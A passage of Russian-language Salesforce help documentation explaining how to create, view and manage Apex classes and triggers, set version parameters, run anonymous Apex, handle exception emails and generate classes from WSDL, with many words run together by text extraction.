Чтобы создать класс, выполните указанные ниже действия.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Классы Apex».

2. Нажмите кнопку «Создать».

3. Чтобы указать версии Apex и API, использованные для создания данного класса,
щелкните «Параметры версии». Если организация использует установленные
управляемыепакетыиз каталогаAppExchange, укажите версиюкаждого управляемого
пакета, котораядолжнаиспользоваться сданнымклассом.Рекомендуемиспользовать
стандартные значениядля всех версий. Данноедействие связывает класс споследней
версией Apex, API и каждого управляемого пакета. Чтобы получить доступ к
компонентамилифункциям, которыеотличаютсяотсодержимогопоследнейверсии
пакета, укажите предыдущую версию управляемого пакета. Чтобы сохранить
определенный алгоритм работы, укажите предыдущую версию Apex и API.
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4. Введите кодApexдля класса вредакторе классов. Длинаодногоклассаможет составлятьнеболее 1 миллиона символов,
без учета комментариев, методов теста или классов, заданных посредством @isTest.

5. Чтобы сохранить внесенные изменения и просмотреть сведения о классе, нажмите кнопку «Сохранить». Чтобы
сохранить внесенные изменения и продолжить редактирование класса, нажмите кнопку «Быстрое сохранение».
Прежде чем сохранить собственный класс, убедитесь в корректной компиляции класса Apex.

Сохраненные классымогут запускаться другим кодомApex (например, триггером) посредствомпеременныхилиметодов
класса.

Прим.: В целях обеспечения обратной совместимости классы сохраняются с параметрами определенной версии
ApexиAPI.ЕсликлассApex ссылаетсяна компонентыустановленныхуправляемыхпакетов (например, настраиваемый
объект), то параметры версии для каждого управляемого пакета, используемого классом, также сохраняются.Кроме
того, пометка isValid со значением true хранится вместе с классомдоизменения зависимыхметаданныхпосле
последнейкомпиляциикласса. Пометке isValid присваивается значение false приизмененииименилиполей
объекта, используемыхвклассе, включаянесущественныеизменения (например, редактированиеописанияобъекта
илиполя), илиприизменениикласса, вызывающегоданныйкласс. Вызов класса триггеромиливызовомвеб-службы
инициируетповторнуюкомпиляциюкодаиотправкупользователюуведомленияоналичииошибок. Еслиошибки
отсутствуют, то пометке isValid присваивается значение true.

СМ. ТАКЖЕ:

Управление классами Apex

Просмотр классов Apex

Управление параметрами версии для Apex
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Определение триггеров Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Стандартные объекты,
кампании, обращения и
сообщения эл. почты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения триггеров
Apex:
• «Автор Apex»

Триггеры Apex хранятся в приложении в качестве метаданных связанного объекта.

Прим.: Добавление, редактирование и удаление Apex посредством
пользовательскогоинтерфейса Salesforce доступно толькоорганизациям Developer
Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственная организация Salesforce позволяет изменять Apex
только посредством вызоваMetadata API (deploy), Force.com IDE или Force.com
Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемые компанией Salesforce дляподдержкипользователейипартнеров.
Согласно Основному соглашению о подписке, данные ресурсы не относятся к
службам Salesforce.

1. Вразделепараметровуправленияобъектамидляобъекта, доступктриггерамкоторого
необходимо получить, перейдите в раздел «Триггеры».

Совет: Пользовательский интерфейс Salesforce не поддерживает создание
триггеров для стандартных объектов «Вложение», «Документ содержимого» и
«Примечание». Чтобы создать триггеры для данных объектов, воспользуйтесь
средствами разработки (например, консоль разработчика или Force.com IDE).
При необходимости воспользуйтесь Metadata API.

2. Нажмите кнопку «Создать» в списке «Триггеры».

3. Чтобы указать версии Apex и API, использованные для создания данного триггера,
щелкните «Параметры версии». Если организация использует установленные
управляемыепакетыиз каталогаAppExchange, укажите версиюкаждого управляемого
пакета, которая должна использоваться с данным триггером. Рекомендуем
использовать стандартные значения для всех версий. Данное действие связывает
триггерспоследнейверсиейApex, APIикаждогоуправляемогопакета. Чтобыполучить
доступ к компонентам или функциям, которые отличаются от содержимого последней версии пакета, укажите
предыдущую версию управляемого пакета.

4. Чтобы скомпилировать и включить триггер, щелкните «Триггер Apex» и установите флажок «Активно». Чтобы
сохранить код в метаданных организации, снимите данныйфлажок. Данныйфлажок установлен по умолчанию.

5. Введите Apex для триггера в поле «Текст». Длина одного триггера должна составлять не более 1 миллиона символов.

Чтобы определить триггер, воспользуйтесь синтаксисом ниже.

trigger TriggerName on ObjectName (trigger_events) {
code_block

}

где trigger_events может быть списком событий, разделенных запятыми.

• before insert

• before update

• before delete

• after insert

• after update

• after delete

• after undelete
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Прим.: Триггер, вызванныйоперациейповторяющегося события или задачи (insert, delete или update),
инициирует ошибку выполнения при пакетном вызове триггера из Force.com API.

6. Нажмите кнопку «Сохранить».

Прим.: Пометка isValid со значением true хранится вместе с триггером до изменения зависимыхметаданных
после последней компиляции триггера. Пометке isValid присваивается значение false, если повторная
обработка кода компиляторомApexне завершена, приизмененииименилиполейобъекта, используемыхв триггере,
включаянесущественныеизменения (например, редактированиеописанияобъектаилиполя). Повторнаякомпиляция
выполняется при следующем выполнении триггера или повторном сохранении триггера в метаданных.

Еслиполепоиска ссылаетсяна удаленнуюзапись, то система Salesforce удаляет значениеполяпоискапо умолчанию.
При необходимости записи, используемые во взаимосвязи поиска, могут быть заблокированы от удаления.

СМ. ТАКЖЕ:

Управление триггерами Apex

Управление параметрами версии для Apex

Поиск по параметрам управления объектами

Выполнение анонимного кода Apex

Консоль разработчика позволяет выполнять код Apex для альтернативного создания журналов отладки, охватывающих
конкретную логику приложения.

Необходимые полномочия пользователя

«Автор Apex»Для выполнения анонимного Apex:

Инструмент Execute Anonymous Apex на консоли разработчика выполняет код Apex, введенный посредством
ExecuteAnonymous, и создает журнал отладки, содержащий результаты выполнения.

Внимание: В случае вызова класса, содержащего метод теста testMethod, выполняются все его операторы DML.
При этом возможно добавление нежелательных данных в организацию.

1. Чтобы открыть окно Enter Apex Code, последовательно выберите пунктыDebug > Open Execute Anonymous Window.
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2. Введите нужный код в окно Enter Apex Code илищелкните значок для открытия редактора кода в новом окне
обозревателя. Чтобы автоматически открыть полученный журнал отладки по завершении выполнения, установите
флажок Open Log.

Прим.: Анонимный код не может содержать ключевое слово static.

3. Выполните код.

a. Чтобы выполнить весь код, указанный в окне, нажмите кнопку Execute или воспользуйтесь комбинацией клавиш
CTRL + E.

b. Чтобывыполнить толькоотдельныестрокикода, выберитенужныестрокиинажмите кнопкуExecute Highlighted
или воспользуйтесь комбинацией клавиш CTRL + SHIFT + E.

4. При наличиифлажка Open Log журнал автоматически откроется в представлении Log Inspector. После выполнения
кода журнал отладки добавляется на вкладку Logs. Чтобы открыть журнал в представлении Log Inspector, дважды
щелкните нужный журнал.

5. Чтобыповторно выполнить тотже код без внесения изменений, последовательно выберите пунктыDebug > Execute
Last. Чтобыоткрытьокно Enter Apex Code, содержащеепредыдущуюзапись, иизменитькод, последовательновыберите
пункты Debug > Open Execute Anonymous Window.

СМ. ТАКЖЕ:

Меню Debug

Log Inspector

Использование журналов отладки

Вкладка Logs
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Что происходит при возникновении исключения Apex?

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
настройки сообщений эл.
почты об исключениях
Apex:
• «Просмотр настройки»

Для создания кода Apex:
• «Автор Apex»

Для использования Tooling
API:
• «API включен»

При возникновении исключения выполнение кода останавливается. Операции DML,
обработанные перед исключением, отменяются и не передаются в базу данных.
Исключениярегистрируютсяжурналамиотладки. Привозникновениинеобработанных
исключений (исключения, которые не обнаруживаются кодом) система Salesforce
отправляет сообщение эл. почты, содержащее сведения об исключении. Конечному
пользователю отображается сообщение об ошибке в пользовательском интерфейсе
Salesforce.

Сообщения эл. почты о необработанных исключениях

ПривозникновениинеобработанныхисключенийApex системаотправляет сообщения
эл. почты, содержащиетрассировку стекаApex, организациюклиентаикодпользователя.
Другие данные клиента не возвращаются. По умолчанию сообщения эл. почты о
необработанных исключениях отправляются разработчику, указанному в поле
LastModifiedBy невыполненного класса или триггера. Кроме того, сообщения эл.
почты могут отправляться пользователям организации Salesforce и произвольным
получателям. Чтобы настроить данные электронные уведомления, введите строку
«Сообщения эл. почты об исключениях Apex» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Сообщения эл. почты об исключениях Apex». При
необходимости настройте сообщения эл. почты об исключениях Apex посредством
объекта Tooling API по имени ApexEmailNotification.

Прим.: При возникновении повторяющихся исключений в коде Apex, который
выполняется синхронно, последующие сообщения эл. почты об исключениях
блокируются и отправляется только первое сообщение эл. почты. Данная
блокировка позволяет избежать переполнения папки входящих сообщений эл.
почтыразработчикауведомлениямиободнойитойжеошибке. Прииспользовании
кода Apex, который выполняется асинхронно, включая пакеты Apex и методы с
примечанием @future, сообщения эл. почтыоповторяющихсяисключенияхне
блокируются.

Необработанные исключения в пользовательском интерфейсе

При обнаружении исключения, возникшего в коде Apex во время использования стандартного пользовательского
интерфейса, конечному пользователю отображается сообщение об ошибке. Сообщение об ошибке содержит текст,
аналогичный уведомлению ниже.
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Обработка исключений Apex в управляемых пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition и
Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

Force.com
AppExchange»

Для загрузки пакетов:
• «Передача пакетов

Force.com
AppExchange»

Для создания Apex:
• «Автор Apex»

При создании управляемого пакета для каталога Force.com AppExchange рекомендуем
указать пользователя, которому должно быть отправлено электронное уведомление о
возникновении исключения, которое не может быть обнаружено кодом Apex. Ниже
перечислены действия, которые могут вызывать необрабатываемые исключения.

• Действие или метод считывания Visualforce

• Метод веб-службы

• Триггер

Отправленное сообщение эл. почты использует следующийформат:

-------------------------------------------------------------------------------- Тема:
Developer script exception from ИМЯ_КЛАССА Apex script unhandled trigger exception

by user/organization: КОД_ПОЛЬЗОВАТЕЛЯ/КОД_ОРГАНИЗАЦИИ СТРОКА_ИСКЛЮЧЕНИЯ
ТРАССИРОВКА_СТЕКА
--------------------------------------------------------------------------------

Например:
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-------------------------------------------------------------------------------- От:
Apex Application? <info@salesforce.com> Кому: joeuser@salesforce.com

<joeuser@salesforce.com> Тема: Developer script exception from Gack WS? Дата: Пн, 26 Ноя
2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger exception by
user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?: Gack
WS exception Class.Gack WS?.gackTestException: line 4, column 11
--------------------------------------------------------------------------------

Количество сообщений эл. почты, созданных для одной ошибки и использующих одну тему, не может превышать 10 за
одну минуту.

Управление классами Apex

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

Доступно в версиях: Performance Edition, Unlimited Edition, Developer Edition и
Enterprise Edition.

Класс Apex — это шаблон или образец, используемый для создания объектов Apex.
Классысостоятиздругихклассов, заданныхпользователемметодов, переменных, типов
исключенийистатическогокодаинициализации.Сохраненныепеременныеилиметоды
класса могут запускаться другим кодом Apex или посредством SOAP API (или AJAX Toolkit)
для методов, обозначенных ключевым словом webService.

Страница «Классы Apex» позволяет создавать классы Apex и управлять ими. Для классов
«Apex» введите строку «Классы Apex» в поле «Быстрый поиск» и выберите пункт
«Классы Apex». Дополнительные функции разработки доступны на консоли
разработчика.

Чтобы создать класс Apex, нажмите кнопку «Создать» на странице «Классы Apex» и введите код Apex в редактор.

Разработчикимогут создаватьметодыкласса в соответствиис синтаксисом, описаннымвРуководстверазработчика Force.com
Apex Code. Классы могут быть созданы автоматически на основе документа WSDL, хранящегося на локальном жестком
диске или в сети. Создание класса на основе документа WSDL позволяет разработчикам создавать выноски на внешнюю
веб-службу вApex. Чтобы создать классApexна основе документа WSDL, нажмите кнопку «Создатьиз WSDL»на странице
«Классы Apex».

Ниже перечислены действия, доступные после создания класса Apex.

• Чтобы изменить содержимое класса в обычном редакторе, щелкните ссылку «Правка» напротив имени нужного
класса.

• Чтобы удалить класс из организации, щелкните ссылку «Удал.» напротив имени нужного класса.

Прим.:

– Добавление, редактированиеиудалениеApexпосредствомпользовательскогоинтерфейсаSalesforceдоступно
только организациям Developer Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственнаяорганизация SalesforceпозволяетизменятьApex толькопосредствомвызова
Metadata API (deploy), Force.com IDE или Force.com Migration Tool. Force.com IDE и Force.com Migration Tool —
это бесплатные ресурсы, предоставляемые компанией Salesforce для поддержки пользователей и партнеров.
Согласно Основному соглашению о подписке, данные ресурсы не относятся к службам Salesforce.

– Класс, указанный в качестве контроллера для страницы или компонента Visualforce, не может быть удален.
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– Значок указывает, что класс Apex выпущен в управляемом пакете. Классы Apex в пакетах подчиняются
особым рекомендациям.

– Значок указываетнаиспользованиеклассаApexвустановленномуправляемомпакете. Класс, используемый
управляемым пакетом, не может быть изменен или удален.

– Значок указывает, что класс Apex, используемый в управляемом выпущенном ранее пакете, будет удален
при следующей загрузке пакета. Класс Apex может быть восстановлен на странице сведений о пакете.

• Если класс Apex содержит методы, определенные как webService, щелкните ссылку «WSDL» напротив имени
нужногокласса, чтобысоздатьдокумент WSDL наоснове содержимогокласса. Данныйдокументсодержитвсе сведения,
необходимые клиенту для использования методов веб-службы Apex. Итоговый документ WSDL содержит все методы
класса, помеченные ключевым словом webService.

• Чтобы выбрать профили, которымразрешается выполнятьметоды класса в точках входа верхнего уровня (например,
методывеб-службы), щелкните ссылку «Безопасность»напротивименинужногокласса. Данная ссылкаотображается
для классов, установленных в организацию как часть управляемого пакета, только при условии их глобальности.

• ЧтобыопределитьпроцентноесодержаниекодаApex, охваченногопоблочнымитестами, щелкнитессылку «Оценить
покрытиекодаорганизации». Данноепроцентноесодержаниеосновываетсянапоследнихрезультатахвыполненных
тестов. При отсутствии результатов тестов покрытие кода составляет 0%.

• ЧтобывыполнитьвсепоблочныетестыприихналичиикакминимумводномклассеApex, нажмитекнопку«Выполнить
все тесты».

• Чтобы скомпилировать все классыApex, доступные в организации, щелкните ссылку «Компилироватьвсеклассы».
Чтобы просмотреть классы, установленные из управляемого пакета и содержащие методы теста или являющиеся
классами теста, а также выполнить методы теста на странице «Выполнение теста Apex», рекомендуем сначала
скомпилировать данные классы. Классы управляемого пакета не могут быть сохранены, поэтому могут быть
скомпилированы только посредством ссылки «Компилировать все классы». В противном случае, сохранение
классов Apex, установленных из неуправляемого пакета, инициирует их повторную компиляцию. Данная ссылка
компилирует все классы Apex, доступные в организации, независимо от пакета, использованного для их установки.

Прим.: Префикс пространства имен добавляется в классы и триггеры Apex, страницы и компоненты Visualforce,
фирменные шаблоны, папки, элементы S-Control, статические ресурсы, веб-ссылки и типы настраиваемых отчетов
приихналичиивуправляемомпакете. Полепрефиксапространстваименотображаетсядляфирменныхшаблонов,
папок и типов настраиваемых отчетов только при наличии полномочия «Настройка приложения».

СМ. ТАКЖЕ:

Определение классов Apex

Просмотр классов Apex
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Управление триггерами Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
версии и просмотра
зависимостей для триггеров
Apex:
• «Автор Apex»

Триггер — это код Apex, который выполняется перед некоторым событием языка
манипулирования данными (DML) или после него (например, перед вставкой записи
объекта в базу данных или после удаления записи).

Триггеры хранятся в системе Salesforce в качестве метаданных. Список всех триггеров в
вашей организации находится на странице «Триггеры Apex» в разделе «Настройка».
Триггеры также связаны и сохраняются с конкретными объектами и выводятся в списке
параметров управления объектами для каждого объекта. Дополнительные функции
разработки доступны на консоли разработчика.

Прим.: Префикс пространства имен добавляется в классы и триггеры Apex,
страницыикомпонентыVisualforce, фирменныешаблоны, папки, элементы S-Control,
статические ресурсы, веб-ссылки и типы настраиваемых отчетов при их наличии
в управляемом пакете. Поле префикса пространства имен отображается для
фирменныхшаблонов, папокитиповнастраиваемыхотчетов толькоприналичии
полномочия «Настройка приложения».

Чтобы создать триггер Apex, нажмите кнопку «Создать».

Прим.: Триггерымогут быть созданы только посредством связанного объекта, но
не страницы «Триггеры Apex».

Ниже перечислены действия, доступные после создания триггера Apex.

• Чтобы изменить содержимое триггера в обычном редакторе, щелкните ссылку
«Правка» напротив имени нужного триггера.

• Чтобы удалить триггер из организации, щелкните ссылку «Удал.» напротив имени
нужного триггера.

Прим.:

• Добавление, редактирование и удаление Apex посредством пользовательского интерфейса Salesforce доступно
только организациям Developer Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственная организация Salesforce позволяет изменять Apex только посредством вызова
Metadata API (deploy), Force.com IDE или Force.com Migration Tool. Force.com IDE и Force.com Migration Tool — это
бесплатныересурсы, предоставляемыекомпанией Salesforceдляподдержкипользователейипартнеров. Согласно
Основному соглашению о подписке, данные ресурсы не относятся к службам Salesforce.

• Значок указываетнаиспользованиетриггераApexвустановленномуправляемомпакете. Триггер, используемый
управляемым пакетом, не может быть изменен или удален.

• Значок указывает, что триггер Apex, используемый в управляемом выпущенном ранее пакете, будет удален
при следующей загрузке пакета. Триггер Apex может быть восстановлен на странице сведений о пакете.

СМ. ТАКЖЕ:

Определение триггеров Apex

Поиск по параметрам управления объектами
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Управление параметрами версии для Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Управляемые пакеты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

В целях обеспечения обратной совместимости классы сохраняются с параметрами
определенной версии Apex и API. Если класс Apex ссылается на компоненты
установленных управляемых пакетов (например, настраиваемый объект), то параметры
версии для каждого управляемого пакета, используемого классом, также сохраняются.
Подобно Apex, API и компоненты управляемых пакетов используются в последующих
выпущенныхверсиях, ноклассыилитриггерывсеравноостаютсясвязаннымисверсиями,
поведение которых уже известно.

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случае выпускаисправления.Версиипакетапозволяютиздателямизменять компоненты
управляемыхпакетовпутемвыпускапоследующихверсийпакетабезнарушениятекущих
интеграций, использующих пакет.

Чтобы настроить Salesforce API и версию Apex для класса или триггера, выполните
указанные ниже действия.

1. Измените класс или триггер и щелкните «Параметры версии».

2. Заполнитеполе «Версия» для Salesforce API. Данная версия такжеопределяет версию
Apex, связанную с классом или триггером.

3. Нажмите кнопку «Сохранить».

Чтобынастроитьпараметрыверсиипакетадляклассаилитриггера, выполнитеуказанные
ниже действия.

1. Измените класс или триггер и щелкните «Параметры версии».

2. Заполнитеполе «Версия» для каждого управляемогопакета, используемогоклассом
или триггером. Данная версия управляемого пакета продолжает использоваться
классом или триггером при установке более поздних версий управляемого пакета, если параметры версии не
обновляются пользователем вручную. Чтобы добавить установленный управляемый пакет в список параметров,
выберите нужный пакет из списка доступных пакетов. Список отображается только при наличии установленного
управляемого пакета, который больше не связан с классом или триггером.

3. Нажмите кнопку «Сохранить».

Ниже перечислены рекомендации по работе с параметрами версии пакета.

• Класс или триггерApex, ссылающийсяна управляемыйпакет, по умолчаниюсвязывается с последней установленной
версией управляемого пакета, если при его сохранении версия управляемого пакета не указывается.

• Если класс или триггер ссылается на пакет, то кнопка «Удалить» недоступна для параметров версии класса или
триггера, используемыхуправляемымпакетом. Чтобыопределитьобластииспользованияуправляемогопакетаклассом
или триггером, нажмите кнопку «Показать зависимости».
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Просмотр классов Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

При необходимости просмотрите код, содержащийся в созданном классе, API,
использованный для сохранения класса, а также сведения о действительности или
активности класса. В меню «Настройка» введите «Классы Apex» в поле «Быстрый
поиск», затемвыберите«КлассыApex», затемщелкнитеимякласса, которыйнеобходимо
просмотреть. Ниже перечислены действия, доступные при просмотре класса.

• Чтобы изменить класс, щелкните «Правка».

Прим.:

– Добавление, редактирование и удаление Apex посредством
пользовательского интерфейса Salesforce доступно только организациям
Developer Edition, пробным организациям Salesforce Enterprise Edition и
безопасным организациям. Производственная организация Salesforce
позволяетизменятьApex толькопосредствомвызоваMetadata API (deploy),
Force.com IDE или Force.com Migration Tool. Force.com IDE и Force.com Migration
Tool — это бесплатные ресурсы, предоставляемые компанией Salesforce для
поддержкипользователейипартнеров. СогласноОсновному соглашению
о подписке, данные ресурсы не относятся к службам Salesforce.

– Значок указывает, что классApex выпущенв управляемомпакете. Классы
Apex в пакетах подчиняются особым рекомендациям.

– Значок указывает на использование класса Apex в установленном
управляемом пакете. Класс, используемый управляемым пакетом, не может
быть изменен или удален.

– Значок указывает, что класс Apex, используемый в управляемом
выпущенном ранее пакете, будет удален при следующей загрузке пакета.
Класс Apex может быть восстановлен на странице сведений о пакете.

Добавление, редактирование и удаление Apex посредством пользовательского
интерфейсаSalesforceдоступнотолькоорганизациям Developer Edition, пробным
организациям Salesforce Enterprise Edition и безопасным организациям.
Производственная организация Salesforce позволяет изменять Apex только
посредствомвызоваMetadata API (deploy), Force.com IDEили Force.com Migration
Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемые компанией Salesforce для поддержки пользователей и
партнеров. Согласно Основному соглашению о подписке, данные ресурсы не
относятся к службам Salesforce.

• Чтобы удалить класс, щелкните «Удалить».

Прим.: Класс, указанныйв качестве контроллерадля страницыиликомпонентаVisualforce, неможетбыть удален.

• Если класс содержит метод, определенный как webService, нажмите кнопку «Создать WSDL», чтобы создать
документ WSDL на основе класса.

Прим.: Документ WSDL не может быть создан для классов, определенных как isTest.

• Чтобы загрузить копию Apex, нажмите кнопку «Загрузить».

• Чтобы выполнить поблочные тесты, содержащиеся в классе, нажмите кнопку «Выполнить тест».

• Чтобы задать параметры безопасности на уровне класса Apex, щелкните «Безопасность».
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• Чтобы просмотреть элементы (например, поля, объекты или другие классы), необходимые для того, чтобы данный
класс был действителен, нажмите кнопку «Показать зависимости».

Вкладка «Краткое описание класса» отображает прототип класса, то есть, классы, методы и переменные, доступные
другому коду Apex. Вкладка «Краткое описание класса» содержит уровни доступа и сигнатуры для каждого метода и
переменной класса Apex, а также любые внутренние классы. Данная вкладка доступна только при наличии прототипа.

Прим.:

• ЕсликлассыApexневключенывуправляемыепакеты, тосистемаотображаеттолькоклассы, методыипеременные,
определенные как глобальные или общедоступные.

• ЕсликлассыApex включеныв управляемыепакеты, то вкладка «Краткоеописаниекласса»отображает версию
пакета, использованнуюдлявнедренияотдельногосвойстваилиметода. Чтобыпросмотретьпрототипвыбранной
версии пакета, выберите номер версии из раскрывающегося списка. По умолчанию используется текущая
установленная версия. Разработчик пакета может объявить метод Apex нерекомендуемым и загрузить новую
версию пакета, предоставляя классу Apex доступ к другому прототипу. Прототипы для классов управляемого
пакета отображают только классы, методы и переменные, определенные как глобальные.

Если класс Apex ссылается на компоненты установленных управляемых пакетов (например, другой класс, триггер или
настраиваемыйобъект), то вкладка «Параметрыверсии»отображает версиипакетов, содержащихданные компоненты.

Вкладка «Фильтрыжурнала» отображает категории и уровни журнала отладки, которые могут быть заданы для класса.

СМ. ТАКЖЕ:

Определение классов Apex

Управление классами Apex

Фильтрация журналов отладки для классов и триггеров Apex

Просмотр сведений о триггерах Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра триггеров
Apex:
• «Автор Apex»

Триггеры Apex хранятся в приложении в качестве метаданных связанного объекта. Вы
можете также просмотреть все триггеры в меню «Настройка». Для этого введите строку
«Триггеры Apex» в поле «Быстрый поиск», затем выберитеТриггеры Apex.

Прим.: Добавление, редактирование и удаление Apex посредством
пользовательскогоинтерфейса Salesforce доступно толькоорганизациям Developer
Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственная организация Salesforce позволяет изменять Apex
только посредством вызоваMetadata API (deploy), Force.com IDE или Force.com
Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемые компанией Salesforce дляподдержкипользователейипартнеров.
Согласно Основному соглашению о подписке, данные ресурсы не относятся к
службам Salesforce.

Чтобы просмотреть сведения триггера, в меню «Настройка» введите «Триггеры Apex» в
поле «Быстрый поиск», выберите «Триггеры Apex», затем щелкните имя триггера.
При необходимости сведения о триггере можно просмотреть в параметрах управления
объектами.

Ниже перечислены действия, доступные на странице сведений о триггере.

• Чтобы изменить содержимое триггера, нажмите кнопку «Правка».
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Прим.: Значок указывает на использование триггера Apex в установленном управляемом пакете. Триггер,
используемый управляемым пакетом, не может быть изменен или удален.

• Чтобы удалить триггер из организации, нажмите кнопку «Удалить».

• Чтобы просмотреть элементы (например, поля, элементы S-Control или классы), используемые кодом Apex триггера,
нажмите кнопку «Показать зависимости».

• Чтобы загрузить текст триггера, нажмите кнопку «Загрузить Apex». При сохранениифайлу присваивается имя
триггера и расширение .trg.

Ниже перечислены данные, доступные на странице сведений о триггере.

• Имя триггера.

• Имя объекта, связанного с триггером (например, организация или обращение).

• Версия API, использованная для сохранения триггера.

• Действительность триггера.

Прим.: Пометка isValid созначением true хранитсявместестриггеромдоизменениязависимыхметаданных
после последней компиляции триггера. Пометке isValid присваивается значение false, если повторная
обработка кода компилятором Apex не завершена, при изменении имен или полей объекта, используемых в
триггере, включаянесущественныеизменения (например, редактированиеописанияобъектаилиполя). Повторная
компиляция выполняется при следующем выполнении триггера или повторном сохранении триггера в
метаданных.

Если поле поиска ссылается на удаленную запись, то система Salesforce удаляет значение поля поиска по
умолчанию. При необходимости записи, используемые во взаимосвязи поиска, могут быть заблокированы от
удаления.

• Активность триггера.

• Текст кода Apex, содержащегося в триггере.

• Еслитриггерссылаетсянакомпонентыустановленныхуправляемыхпакетов (например, классApex, страницаVisualforce,
настраиваемыйобъектит. д.), тораздел «Параметрыверсии» содержитверсиипакетов, содержащихданныекомпоненты.

• Если триггер используется установленным управляемым пакетом, то параметр «Установленный пакет» содержит
имя пакета.

Вкладка «Фильтрыжурнала»отображаеткатегориииуровнижурналаотладки, которыемогутбыть заданыдлятриггера.
Дополнительнуюинформациюсм. в разделе «Фильтрацияжурналов отладки для классов и триггеровApex» на странице
5863.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Создание класса Apex из WSDL

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

Класс Apex может быть создан автоматически на основе документа WSDL, хранящегося
на локальном жестком диске или в сети. Создание класса на основе документа WSDL
позволяет разработчикам создавать выноски на внешнюю веб-службу в Apex.

Прим.: Рекомендуемиспользоватьисходящиесообщениядляобработкирешений
по интеграции. Выноски на сторонние веб-службы используются только при
необходимости.

Чтобы получить доступ к данной функции, выполните указанные ниже действия.

1. В приложении введите строку «Классы Apex» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Классы Apex».

2. Нажмите кнопку «Создать из WSDL».

3. Чтобы выбрать документ WSDL на локальном жестком диске или в сети, нажмите
кнопку«Обзор»иливведитеполныйпуть. Данныйдокумент WSDL являетсяосновой
для создаваемого класса Apex.

Прим.: Выбранныйдокумент WSDL может содержать расположение конечной
точки SOAP, ссылающееся на исходящий порт.

Из соображений безопасности, система Salesforce ограничивает доступные
исходящие порты.

• 80: данный порт принимает только подключения HTTP.

• 443: данный порт принимает только подключения HTTPS.

• 1024–66535 (включительно): данные порты принимают подключения HTTP
или HTTPS.

4. Чтобы проверить содержимое документа WSDL, нажмите кнопку «Анализировать WSDL». Приложение создает
стандартное имя класса для каждого пространства имен в документе WSDL и составляет отчет по любым ошибкам.
Анализ завершаетсяошибкой, если WSDL содержиттипыиликонструкциисхем, которыенеподдерживаютсяклассами
Apex, или, если итоговые классы Apex превышают ограничение, равное 1 миллиону символов. Например, документ
WSDL интерфейса Salesforce SOAP API не может быть проанализирован.

5. При необходимости измените имена классов. Чтобы сохранить несколько пространств имен WSDL в одном классе,
укажите одно имя класса для каждого пространства имен. Обратите внимание, что классы Apex могут содержать не
более 1 миллиона символов.

6. Нажмите кнопку «Создать Apex». Последняя страница мастера отображает успешно созданные классы и ошибки,
обнаруженные в других классах. Данная страница также содержит ссылку для просмотра успешно созданного кода.

Успешно созданные классы Apex содержат заглушку и классы типов для вызова сторонней веб-службы, представленной
